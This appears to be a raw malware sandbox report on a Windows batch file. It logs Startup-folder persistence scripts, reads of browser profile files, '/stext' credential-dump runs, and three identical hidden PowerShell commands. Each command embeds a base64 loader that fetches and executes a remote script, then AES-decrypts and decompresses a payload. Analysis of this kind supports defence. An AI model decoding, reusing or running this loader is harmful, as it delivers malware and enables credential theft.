                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4340:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:736:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4816:120:WilError_03
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rr0nfynu.xof.ps1Jump to behavior
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\As7KZaO9Dy.bat" "
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSystem information queried: HandleInformationJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
                        Source: powershell.exe, powershell.exe, 0000000C.00000002.2265151549.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
                        Source: powershell.exe, powershell.exe, 0000000D.00000002.2253029690.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
                        Source: powershell.exe, 0000000C.00000002.2265151549.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
                        Source: powershell.exe, powershell.exe, 0000000C.00000002.2265151549.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
                        Source: powershell.exe, powershell.exe, 0000000C.00000002.2265151549.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                        Source: powershell.exe, powershell.exe, 0000000C.00000002.2265151549.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                        Source: powershell.exe, powershell.exe, 0000000C.00000002.2265151549.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeEvasive API call chain: __getmainargs,DecisionNodes,exitgraph_13-33236
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\As7KZaO9Dy.bat" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\Desktop\As7KZaO9Dy.bat"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eb7db44d.cmd" "
                        Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eb7db44d.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\xiwpgftnewcebsxtokyugqisw"
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\icjhhxdoaeujmglxxvkwjddjxxvg"
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\kwpaipoiommoomhbogxpuhysgmfpeisd"
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_aac21fe5.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_aac21fe5.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_524a8e57.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_524a8e57.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
